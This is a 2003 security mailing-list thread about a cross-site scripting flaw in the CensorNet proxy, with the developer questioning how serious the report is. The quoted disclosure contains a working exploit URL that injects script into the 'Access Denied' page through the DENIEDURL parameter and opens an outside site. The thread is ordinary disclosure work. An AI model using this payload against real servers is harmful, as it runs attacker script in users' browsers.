Re: CensorNet: Cross Site Scripting Vulnerability

["Dan Searle" <dan.searle@adelix.com>]

Hi People,

I'm Dan the main developer for CensorNet. I don't consider this issue to be
a vulnerability of any kind, however, we will endeavour (for completeness)
to stop people from being able to insert script into the "Access Denied"
page on CensorNet. If anyone could enlighten me as to a situation where this
"vulnerability" would actually become dangerous in a practical situation
then please feel free.

Regards, Dan...

----- Original Message ----- 
From: "David Wright" <wrigd006@rbwm.org>
To: "Richard Maudsley" <maudr001@rbwm.org>
Cc: <bugtraq@securityfocus.com>; <support@adelix.com>; <frenw001@rbwm.org>
Sent: Saturday, October 25, 2003 4:47 PM
Subject: Re: CensorNet: Cross Site Scripting Vulnerability


> Richard.
>
> Sorry i havent replied. I have been ill towards the end of the week.
>
> If you get a response from Adelix (they have taken over Intrago) can you
> let us know.
>
> Regards
>
> Dave
> "Richard Maudsley" <maudr001@rbwm.org> writes:
> >Hello,
> >
> >A cross site scripting vulnerability exists in the CensorNet Proxy
Service
> >(www.censornet.com) that allows scripting (and html) to be passed to the
> >cgi script and displayed in the web browser.
> >
> >Exploit:
>
>http://SERVER/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Counter-
Strike__servers__from__£10_per_month!');window.open("http://www.socketx.co.u
k")</script>
> >
> >Regards,
> > Richard Maudsley
>
>
> David Wright
>
> Royal Borough of Windsor and Maidenhead
> -WAMIE (FirstClass) Technical Support Co-ordinator
>
> The Windsor Boys' School
> -SIMS Manager
>
> 1 Maidenhead Road, Windsor, Berkshire, SL4 5EH
>
> E-Mail: wrigd006@rbwm.org
> Work: 01753 716083
> Fax: 01753 833186
> Mobile:
>
>
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